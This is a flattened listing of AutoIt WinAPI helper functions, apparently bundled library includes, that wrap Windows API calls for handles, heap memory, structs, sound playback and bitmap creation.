- Func __comerrorformating(ByRef $ocomerror, $sprefix = @TAB)
- Local Const $str_striptrailing = 2
- Local $serror = "COM Error encountered in " & @ScriptName & " (" & $ocomerror.scriptline & ") :" & @CRLF & $sprefix & "Number " & @TAB & "= 0x" & Hex($ocomerror.number, 8) & " (" & $ocomerror.number & ")" & @CRLF & $sprefix & "WinDescription" & @TAB & "= " & StringStripWS($ocomerror.windescription, $str_striptrailing) & @CRLF & $sprefix & "Description " & @TAB & "= " & StringStripWS($ocomerror.description, $str_striptrailing) & @CRLF & $sprefix & "Source " & @TAB & "= " & $ocomerror.source & @CRLF & $sprefix & "HelpFile " & @TAB & "= " & $ocomerror.helpfile & @CRLF & $sprefix & "HelpContext " & @TAB & "= " & $ocomerror.helpcontext & @CRLF & $sprefix & "LastDllError " & @TAB & "= " & $ocomerror.lastdllerror & @CRLF & $sprefix & "Retcode " & @TAB & "= 0x" & Hex($ocomerror.retcode)
- Return $serror
- EndFunc
- #Region Global Variables and Constants
- Global Const $duplicate_close_source = 1
- Global Const $duplicate_same_access = 2
- Global Const $obj_bitmap = 7
- Global Const $obj_brush = 2
- Global Const $obj_colorspace = 14
- Global Const $obj_dc = 3
- Global Const $obj_enhmetadc = 12
- Global Const $obj_enhmetafile = 13
- Global Const $obj_extpen = 11
- Global Const $obj_font = 6
- Global Const $obj_memdc = 10
- Global Const $obj_metadc = 4
- Global Const $obj_metafile = 9
- Global Const $obj_pal = 5
- Global Const $obj_pen = 1
- Global Const $obj_region = 8
- Global Const $null_brush = 5
- Global Const $null_pen = 8
- Global Const $black_brush = 4
- Global Const $dkgray_brush = 3
- Global Const $dc_brush = 18
- Global Const $gray_brush = 2
- Global Const $hollow_brush = $null_brush
- Global Const $ltgray_brush = 1
- Global Const $white_brush = 0
- Global Const $black_pen = 7
- Global Const $dc_pen = 19
- Global Const $white_pen = 6
- Global Const $ansi_fixed_font = 11
- Global Const $ansi_var_font = 12
- Global Const $device_default_font = 14
- Global Const $default_gui_font = 17
- Global Const $oem_fixed_font = 10
- Global Const $system_font = 13
- Global Const $system_fixed_font = 16
- Global Const $default_palette = 15
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_closehandle($hobject)
- Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_deleteobject($hobject)
- Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $iinherithandle, $ioptions)
- Local $aresult = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $iinherithandle, "dword", $ioptions)
- If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
- Return $aresult[4]
- EndFunc
- Func _winapi_getcurrentobject($hdc, $itype)
- Local $aret = DllCall("gdi32.dll", "handle", "GetCurrentObject", "handle", $hdc, "uint", $itype)
- If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_getcurrentprocess()
- Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getobject($hobject, $isize, $pobject)
- Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "struct*", $pobject)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getobjectinfobyhandle($hobject)
- Local $tagpublic_object_basic_information = "ulong Attributes;ulong GrantedAcess;ulong HandleCount;ulong PointerCount;ulong Reserved[10]"
- Local $tpobi = DllStructCreate($tagpublic_object_basic_information)
- Local $aret = DllCall("ntdll.dll", "long", "ZwQueryObject", "handle", $hobject, "uint", 0, "struct*", $tpobi, "ulong", DllStructGetSize($tpobi), "ptr", 0)
- If @error Then Return SetError(@error, @extended, 0)
- If $aret[0] Then Return SetError(10, $aret[0], 0)
- Local $aresult[4]
- For $i = 0 To 3
- $aresult[$i] = DllStructGetData($tpobi, $i + 1)
- Next
- Return $aresult
- EndFunc
- Func _winapi_getobjectnamebyhandle($hobject)
- Local $tagunicode_string = "struct;ushort Length;ushort MaximumLength;ptr Buffer;endstruct"
- Local $tagpublic_object_type_information = "struct;" & $tagunicode_string & ";ulong Reserved[22];endstruct"
- Local $tpoti = DllStructCreate($tagpublic_object_type_information & ";byte[32]")
- Local $aret = DllCall("ntdll.dll", "long", "ZwQueryObject", "handle", $hobject, "uint", 2, "struct*", $tpoti, "ulong", DllStructGetSize($tpoti), "ulong*", 0)
- If @error Then Return SetError(@error, @extended, "")
- If $aret[0] Then Return SetError(10, $aret[0], "")
- Local $pdata = DllStructGetData($tpoti, 3)
- If NOT $pdata Then Return SetError(11, 0, "")
- Return _winapi_getstring($pdata)
- EndFunc
- Func _winapi_getobjecttype($hobject)
- Local $aret = DllCall("gdi32.dll", "dword", "GetObjectType", "handle", $hobject)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_getstdhandle($istdhandle)
- If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
- Local Const $ahandle[3] = [-10, -11, -12]
- Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_getstockobject($iobject)
- Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_selectobject($hdc, $hgdiobj)
- Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_sethandleinformation($hobject, $imask, $iflags)
- Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- #EndRegion Public Functions
- #Region Global Variables and Constants
- Global $__g_hheap = 0
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_createbuffer($ilength, $pbuffer = 0, $babort = True)
- $pbuffer = __heaprealloc($pbuffer, $ilength, 0, $babort)
- If @error Then Return SetError(@error, @extended, 0)
- Return $pbuffer
- EndFunc
- Func _winapi_createbufferfromstruct($tstruct, $pbuffer = 0, $babort = True)
- If NOT IsDllStruct($tstruct) Then Return SetError(1, 0, 0)
- $pbuffer = __heaprealloc($pbuffer, DllStructGetSize($tstruct), 0, $babort)
- If @error Then Return SetError(@error + 100, @extended, 0)
- _winapi_movememory($pbuffer, $tstruct, DllStructGetSize($tstruct))
- Return $pbuffer
- EndFunc
- Func _winapi_createstring($sstring, $pstring = 0, $ilength = -1, $bunicode = True, $babort = True)
- $ilength = Number($ilength)
- If $ilength >= 0 Then
- $sstring = StringLeft($sstring, $ilength)
- Else
- $ilength = StringLen($sstring)
- EndIf
- Local $isize = $ilength + 1
- If $bunicode Then
- $isize *= 2
- EndIf
- $pstring = __heaprealloc($pstring, $isize, 0, $babort)
- If @error Then Return SetError(@error, @extended, 0)
- DllStructSetData(DllStructCreate(($bunicode ? "wchar" : "char") & "[" & ($ilength + 1) & "]", $pstring), 1, $sstring)
- Return SetExtended($ilength, $pstring)
- EndFunc
- Func _winapi_equalmemory($psource1, $psource2, $ilength)
- If _winapi_isbadreadptr($psource1, $ilength) Then Return SetError(11, @extended, 0)
- If _winapi_isbadreadptr($psource2, $ilength) Then Return SetError(12, @extended, 0)
- Local $aret = DllCall("ntdll.dll", "ulong_ptr", "RtlCompareMemory", "struct*", $psource1, "struct*", $psource2, "ulong_ptr", $ilength)
- If @error Then Return SetError(@error, @extended, 0)
- Return Number($aret[0] = $ilength)
- EndFunc
- Func _winapi_fillmemory($pmemory, $ilength, $ivalue = 0)
- If _winapi_isbadwriteptr($pmemory, $ilength) Then Return SetError(11, @extended, 0)
- DllCall("ntdll.dll", "none", "RtlFillMemory", "struct*", $pmemory, "ulong_ptr", $ilength, "byte", $ivalue)
- If @error Then Return SetError(@error, @extended, 0)
- Return 1
- EndFunc
- Func _winapi_freememory($pmemory)
- If NOT __heapfree($pmemory, 1) Then Return SetError(@error, @extended, 0)
- Return 1
- EndFunc
- Func _winapi_getmemorysize($pmemory)
- Local $iresult = __heapsize($pmemory, 1)
- If @error Then Return SetError(@error, @extended, 0)
- Return $iresult
- EndFunc
- Func _winapi_globalmemorystatus()
- Local Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
- Local $tmem = DllStructCreate($tagmemorystatusex)
- DllStructSetData($tmem, 1, DllStructGetSize($tmem))
- Local $aret = DllCall("kernel32.dll", "bool", "GlobalMemoryStatusEx", "struct*", $tmem)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $amem[7]
- $amem[0] = DllStructGetData($tmem, 2)
- $amem[1] = DllStructGetData($tmem, 3)
- $amem[2] = DllStructGetData($tmem, 4)
- $amem[3] = DllStructGetData($tmem, 5)
- $amem[4] = DllStructGetData($tmem, 6)
- $amem[5] = DllStructGetData($tmem, 7)
- $amem[6] = DllStructGetData($tmem, 8)
- Return $amem
- EndFunc
- Func _winapi_isbadcodeptr($paddress)
- Local $aret = DllCall("kernel32.dll", "bool", "IsBadCodePtr", "struct*", $paddress)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_isbadreadptr($paddress, $ilength)
- Local $aret = DllCall("kernel32.dll", "bool", "IsBadReadPtr", "struct*", $paddress, "uint_ptr", $ilength)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_isbadstringptr($paddress, $ilength)
- Local $aret = DllCall("kernel32.dll", "bool", "IsBadStringPtr", "struct*", $paddress, "uint_ptr", $ilength)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_isbadwriteptr($paddress, $ilength)
- Local $aret = DllCall("kernel32.dll", "bool", "IsBadWritePtr", "struct*", $paddress, "uint_ptr", $ilength)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_ismemory($pmemory)
- Local $bresult = __heapvalidate($pmemory)
- Return SetError(@error, @extended, $bresult)
- EndFunc
- Func _winapi_localfree($hmemory)
- Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmemory)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_movememory($pdestination, $psource, $ilength)
- If _winapi_isbadreadptr($psource, $ilength) Then Return SetError(10, @extended, 0)
- If _winapi_isbadwriteptr($pdestination, $ilength) Then Return SetError(11, @extended, 0)
- DllCall("ntdll.dll", "none", "RtlMoveMemory", "struct*", $pdestination, "struct*", $psource, "ulong_ptr", $ilength)
- If @error Then Return SetError(@error, @extended, 0)
- Return 1
- EndFunc
- Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
- Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "struct*", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
- If @error Then Return SetError(@error, @extended, False)
- $iread = $aresult[5]
- Return $aresult[0]
- EndFunc
- Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
- Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
- If @error Then Return SetError(@error, @extended, False)
- $iwritten = $aresult[5]
- Return $aresult[0]
- EndFunc
- Func _winapi_zeromemory($pmemory, $ilength)
- If _winapi_isbadwriteptr($pmemory, $ilength) Then Return SetError(11, @extended, 0)
- DllCall("ntdll.dll", "none", "RtlZeroMemory", "struct*", $pmemory, "ulong_ptr", $ilength)
- If @error Then Return SetError(@error, @extended, 0)
- Return 1
- EndFunc
- #EndRegion Public Functions
- #Region Internal Functions
- Func __heapalloc($isize, $babort = False)
- Local $aret
- If NOT $__g_hheap Then
- $aret = DllCall("kernel32.dll", "handle", "HeapCreate", "dword", 0, "ulong_ptr", 0, "ulong_ptr", 0)
- If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.")
- $__g_hheap = $aret[0]
- EndIf
- $aret = DllCall("kernel32.dll", "ptr", "HeapAlloc", "handle", $__g_hheap, "dword", 8, "ulong_ptr", $isize)
- If @error OR NOT $aret[0] Then
- If $babort Then __fatalexit(1, "Error allocating memory.")
- Return SetError(@error + 30, @extended, 0)
- EndIf
- Return $aret[0]
- EndFunc
- Func __heapfree(ByRef $pmemory, $bcheck = False, $icurerr = @error, $icurext = @extended)
- If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0)
- Local $aret = DllCall("kernel32.dll", "int", "HeapFree", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
- If @error OR NOT $aret[0] Then Return SetError(@error + 40, @extended, 0)
- $pmemory = 0
- Return SetError($icurerr, $icurext, 1)
- EndFunc
- Func __heaprealloc($pmemory, $isize, $bamount = False, $babort = False)
- Local $aret, $pret
- If __heapvalidate($pmemory) Then
- If $bamount AND (__heapsize($pmemory) >= $isize) Then Return SetExtended(1, Ptr($pmemory))
- $aret = DllCall("kernel32.dll", "ptr", "HeapReAlloc", "handle", $__g_hheap, "dword", 8, "ptr", $pmemory, "ulong_ptr", $isize)
- If @error OR NOT $aret[0] Then
- If $babort Then __fatalexit(1, "Error allocating memory.")
- Return SetError(@error + 20, @extended, Ptr($pmemory))
- EndIf
- $pret = $aret[0]
- Else
- $pret = __heapalloc($isize, $babort)
- If @error Then Return SetError(@error, @extended, 0)
- EndIf
- Return $pret
- EndFunc
- Func __heapsize($pmemory, $bcheck = False)
- If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0)
- Local $aret = DllCall("kernel32.dll", "ulong_ptr", "HeapSize", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
- If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error + 50, @extended, 0)
- Return $aret[0]
- EndFunc
- Func __heapvalidate($pmemory)
- If (NOT $__g_hheap) OR (NOT Ptr($pmemory)) Then Return SetError(9, 0, False)
- Local $aret = DllCall("kernel32.dll", "int", "HeapValidate", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- #EndRegion Internal Functions
- Global Const $snd_application = 128
- Global Const $snd_alias = 65536
- Global Const $snd_alias_id = 1114112
- Global Const $snd_async = 1
- Global Const $snd_filename = 131072
- Global Const $snd_loop = 8
- Global Const $snd_memory = 4
- Global Const $snd_nodefault = 2
- Global Const $snd_nostop = 16
- Global Const $snd_nowait = 8192
- Global Const $snd_purge = 64
- Global Const $snd_resource = 262148
- Global Const $snd_sentry = 524288
- Global Const $snd_sync = 0
- Global Const $snd_system = 2097152
- Global Const $snd_system_nostop = 2097168
- Global Const $snd_alias_systemasterisk = "SystemAsterisk"
- Global Const $snd_alias_systemdefault = "SystemDefault"
- Global Const $snd_alias_systemexclamation = "SystemExclamation"
- Global Const $snd_alias_systemexit = "SystemExit"
- Global Const $snd_alias_systemhand = "SystemHand"
- Global Const $snd_alias_systemquestion = "SystemQuestion"
- Global Const $snd_alias_systemstart = "SystemStart"
- Global Const $snd_alias_systemwelcome = "SystemWelcome"
- #Region Global Variables and Constants
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_arraytostruct(Const ByRef $adata, $istart = 0, $iend = -1)
- If __checkerrorarraybounds($adata, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
- Local $tagstruct = ""
- For $i = $istart To $iend
- $tagstruct &= "wchar[" & (StringLen($adata[$i]) + 1) & "];"
- Next
- Local $tdata = DllStructCreate($tagstruct & "wchar[1]")
- Local $icount = 1
- For $i = $istart To $iend
- DllStructSetData($tdata, $icount, $adata[$i])
- $icount += 1
- Next
- DllStructSetData($tdata, $icount, ChrW(0))
- Return $tdata
- EndFunc
- Func _winapi_createmargins($ileftwidth, $irightwidth, $itopheight, $ibottomheight)
- Local $tmargins = DllStructCreate($tagmargins)
- DllStructSetData($tmargins, 1, $ileftwidth)
- DllStructSetData($tmargins, 2, $irightwidth)
- DllStructSetData($tmargins, 3, $itopheight)
- DllStructSetData($tmargins, 4, $ibottomheight)
- Return $tmargins
- EndFunc
- Func _winapi_createpoint($ix, $iy)
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, 1, $ix)
- DllStructSetData($tpoint, 2, $iy)
- Return $tpoint
- EndFunc
- Func _winapi_createrect($ileft, $itop, $iright, $ibottom)
- Local $trect = DllStructCreate($tagrect)
- DllStructSetData($trect, 1, $ileft)
- DllStructSetData($trect, 2, $itop)
- DllStructSetData($trect, 3, $iright)
- DllStructSetData($trect, 4, $ibottom)
- Return $trect
- EndFunc
- Func _winapi_createrectex($ix, $iy, $iwidth, $iheight)
- Local $trect = DllStructCreate($tagrect)
- DllStructSetData($trect, 1, $ix)
- DllStructSetData($trect, 2, $iy)
- DllStructSetData($trect, 3, $ix + $iwidth)
- DllStructSetData($trect, 4, $iy + $iheight)
- Return $trect
- EndFunc
- Func _winapi_createsize($iwidth, $iheight)
- Local $tsize = DllStructCreate($tagsize)
- DllStructSetData($tsize, 1, $iwidth)
- DllStructSetData($tsize, 2, $iheight)
- Return $tsize
- EndFunc
- Func _winapi_copystruct($tstruct, $sstruct = "")
- Local $isize = DllStructGetSize($tstruct)
- If NOT $isize Then Return SetError(1, 0, 0)
- Local $tresult
- If NOT StringStripWS($sstruct, $str_stripleading + $str_striptrailing + $str_stripspaces) Then
- $tresult = DllStructCreate("byte[" & $isize & "]")
- Else
- $tresult = DllStructCreate($sstruct)
- EndIf
- If DllStructGetSize($tresult) < $isize Then Return SetError(2, 0, 0)
- _winapi_movememory($tresult, $tstruct, $isize)
- Return $tresult
- EndFunc
- Func _winapi_getextended()
- Return $__g_vext
- EndFunc
- Func _winapi_getmousepos($btoclient = False, $hwnd = 0)
- Local $imode = Opt("MouseCoordMode", 1)
- Local $apos = MouseGetPos()
- Opt("MouseCoordMode", $imode)
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $apos[0])
- DllStructSetData($tpoint, "Y", $apos[1])
- If $btoclient AND NOT _winapi_screentoclient($hwnd, $tpoint) Then Return SetError(@error + 20, @extended, 0)
- Return $tpoint
- EndFunc
- Func _winapi_getmouseposx($btoclient = False, $hwnd = 0)
- Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($tpoint, "X")
- EndFunc
- Func _winapi_getmouseposy($btoclient = False, $hwnd = 0)
- Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($tpoint, "Y")
- EndFunc
- Func _winapi_muldiv($inumber, $inumerator, $idenominator)
- Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_playsound($ssound, $iflags = $snd_system_nostop, $hinstance = 0)
- Local $stypeofsound = "ptr"
- If $ssound Then
- If IsString($ssound) Then
- $stypeofsound = "wstr"
- EndIf
- Else
- $ssound = 0
- $iflags = 0
- EndIf
- Local $aret = DllCall("winmm.dll", "bool", "PlaySoundW", $stypeofsound, $ssound, "handle", $hinstance, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_stringlena(Const ByRef $tstring)
- Local $aresult = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $tstring)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_stringlenw(Const ByRef $tstring)
- Local $aresult = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $tstring)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_structtoarray(ByRef $tstruct, $iitems = 0)
- Local $isize = 2 * Floor(DllStructGetSize($tstruct) / 2)
- Local $pstruct = DllStructGetPtr($tstruct)
- If NOT $isize OR NOT $pstruct Then Return SetError(1, 0, 0)
- Local $tdata, $ilength, $ioffset = 0
- Local $aresult[101] = [0]
- While 1
- $ilength = _winapi_strlen($pstruct + $ioffset)
- If NOT $ilength Then
- ExitLoop
- EndIf
- If 2 * (1 + $ilength) + $ioffset > $isize Then Return SetError(3, 0, 0)
- $tdata = DllStructCreate("wchar[" & (1 + $ilength) & "]", $pstruct + $ioffset)
- If @error Then Return SetError(@error + 10, 0, 0)
- __inc($aresult)
- $aresult[$aresult[0]] = DllStructGetData($tdata, 1)
- If $aresult[0] = $iitems Then
- ExitLoop
- EndIf
- $ioffset += 2 * (1 + $ilength)
- If $ioffset >= $isize Then Return SetError(3, 0, 0)
- WEnd
- If NOT $aresult[0] Then Return SetError(2, 0, 0)
- __inc($aresult, -1)
- Return $aresult
- EndFunc
- Func _winapi_unionstruct($tstruct1, $tstruct2, $sstruct = "")
- Local $asize[2] = [DllStructGetSize($tstruct1), DllStructGetSize($tstruct2)]
- If NOT $asize[0] OR NOT $asize[1] Then Return SetError(1, 0, 0)
- Local $tresult
- If NOT StringStripWS($sstruct, $str_stripleading + $str_striptrailing + $str_stripspaces) Then
- $tresult = DllStructCreate("byte[" & ($asize[0] + $asize[1]) & "]")
- Else
- $tresult = DllStructCreate($sstruct)
- EndIf
- If DllStructGetSize($tresult) < ($asize[0] + $asize[1]) Then Return SetError(2, 0, 0)
- _winapi_movememory($tresult, $tstruct1, $asize[0])
- _winapi_movememory(DllStructGetPtr($tresult) + $asize[0], $tstruct2, $asize[1])
- Return $tresult
- EndFunc
- #EndRegion Public Functions
- #Region Global Variables and Constants
- Global Const $tagbitmap = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct"
- Global Const $tagbitmapv5header = "struct;dword bV5Size;long bV5Width;long bV5Height;ushort bV5Planes;ushort bV5BitCount;dword bV5Compression;dword bV5SizeImage;long bV5XPelsPerMeter;long bV5YPelsPerMeter;dword bV5ClrUsed;dword bV5ClrImportant;dword bV5RedMask;dword bV5GreenMask;dword bV5BlueMask;dword bV5AlphaMask;dword bV5CSType;int bV5Endpoints[9];dword bV5GammaRed;dword bV5GammaGreen;dword bV5GammaBlue;dword bV5Intent;dword bV5ProfileData;dword bV5ProfileSize;dword bV5Reserved;endstruct"
- Global Const $tagdibsection = $tagbitmap & ";" & $tagbitmapinfoheader & ";dword dsBitfields[3];ptr dshSection;dword dsOffset"
- Global Const $tmpf_fixed_pitch = 1
- Global Const $tmpf_vector = 2
- Global Const $tmpf_truetype = 4
- Global Const $tmpf_device = 8
- Global Const $__winapiconstant_fw_normal = 400
- Global Const $__winapiconstant_default_charset = 1
- Global Const $__winapiconstant_out_default_precis = 0
- Global Const $__winapiconstant_clip_default_precis = 0
- Global Const $__winapiconstant_default_quality = 0
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
- Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
- Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_copybitmap($hbitmap)
- $hbitmap = _winapi_copyimage($hbitmap, 0, 0, 0, 8192)
- Return SetError(@error, @extended, $hbitmap)
- EndFunc
- Func _winapi_copyimage($himage, $itype = 0, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0)
- Local $aret = DllCall("user32.dll", "handle", "CopyImage", "handle", $himage, "uint", $itype, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_createandbitmap($hbitmap)
- Local $ierror = 0, $hdib = 0
- $hbitmap = _winapi_copybitmap($hbitmap)
- If NOT $hbitmap Then Return SetError(@error + 20, @extended, 0)
- Do
- Local $atdib[2]
- $atdib[0] = DllStructCreate($tagdibsection)
- If (NOT _winapi_getobject($hbitmap, DllStructGetSize($atdib[0]), $atdib[0])) OR (DllStructGetData($atdib[0], "bmBitsPixel") <> 32) OR (DllStructGetData($atdib[0], "biCompression")) Then
- $ierror = 10
- ExitLoop
- EndIf
- $atdib[1] = DllStructCreate($tagbitmap)
- $hdib = _winapi_createdib(DllStructGetData($atdib[0], "bmWidth"), DllStructGetData($atdib[0], "bmHeight"), 1)
- If NOT _winapi_getobject($hdib, DllStructGetSize($atdib[1]), $atdib[1]) Then
- $ierror = 11
- ExitLoop
- EndIf
- Local $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", __andproc(), "ptr", 0, "uint", 0, "wparam", DllStructGetPtr($atdib[0]), "lparam", DllStructGetPtr($atdib[1]))
- If @error Then
- $ierror = @error
- ExitLoop
- EndIf
- If NOT $aret[0] Then
- $ierror = 12
- ExitLoop
- EndIf
- $ierror = 0
- Until 1
- _winapi_deleteobject($hbitmap)
- If $ierror Then
- If $hdib Then
- _winapi_deleteobject($hdib)
- EndIf
- $hdib = 0
- EndIf
- Return SetError($ierror, 0, $hdib)
- EndFunc
- Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "struct*", $pbits)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createdib($iwidth, $iheight, $ibitsperpel = 32, $tcolortable = 0, $icolorcount = 0)
- Local $argbq[2], $icolors, $tagrgbq
- Switch $ibitsperpel
- Case 1
- $icolors = 2
- Case 4
- $icolors = 16
- Case 8
- $icolors = 256
- Case Else
- $icolors = 0
- EndSwitch
- If $icolors Then
- If NOT IsDllStruct($tcolortable) Then
- Switch $ibitsperpel
- Case 1
- $argbq[0] = 0
- $argbq[1] = 16777215
- $tcolortable = _winapi_createdibcolortable($argbq)
- Case Else
- EndSwitch
- Else
- If $icolors > $icolorcount Then
- $icolors = $icolorcount
- EndIf
- If (NOT $icolors) OR ((4 * $icolors) > DllStructGetSize($tcolortable)) Then
- Return SetError(20, 0, 0)
- EndIf
- EndIf
- $tagrgbq = ";dword aRGBQuad[" & $icolors & "]"
- Else
- $tagrgbq = ""
- EndIf
- Local $tbitmapinfo = DllStructCreate($tagbitmapinfoheader & $tagrgbq)
- DllStructSetData($tbitmapinfo, "biSize", 40)
- DllStructSetData($tbitmapinfo, "biWidth", $iwidth)
- DllStructSetData($tbitmapinfo, "biHeight", $iheight)
- DllStructSetData($tbitmapinfo, "biPlanes", 1)
- DllStructSetData($tbitmapinfo, "biBitCount", $ibitsperpel)
- DllStructSetData($tbitmapinfo, "biCompression", 0)
- DllStructSetData($tbitmapinfo, "biSizeImage", 0)
- DllStructSetData($tbitmapinfo, "biXPelsPerMeter", 0)
- DllStructSetData($tbitmapinfo, "biYPelsPerMeter", 0)
- DllStructSetData($tbitmapinfo, "biClrUsed", $icolors)
- DllStructSetData($tbitmapinfo, "biClrImportant", 0)
- If $icolors Then
- If IsDllStruct($tcolortable) Then
- _winapi_movememory(DllStructGetPtr($tbitmapinfo, "aRGBQuad"), $tcolortable, 4 * $icolors)
- Else
- _winapi_zeromemory(DllStructGetPtr($tbitmapinfo, "aRGBQuad"), 4 * $icolors)
- EndIf
- EndIf
- Local $hbitmap = _winapi_createdibsection(0, $tbitmapinfo, 0, $__g_vext)
- If NOT $hbitmap Then Return SetError(@error, @extended, 0)
- Return $hbitmap
- EndFunc
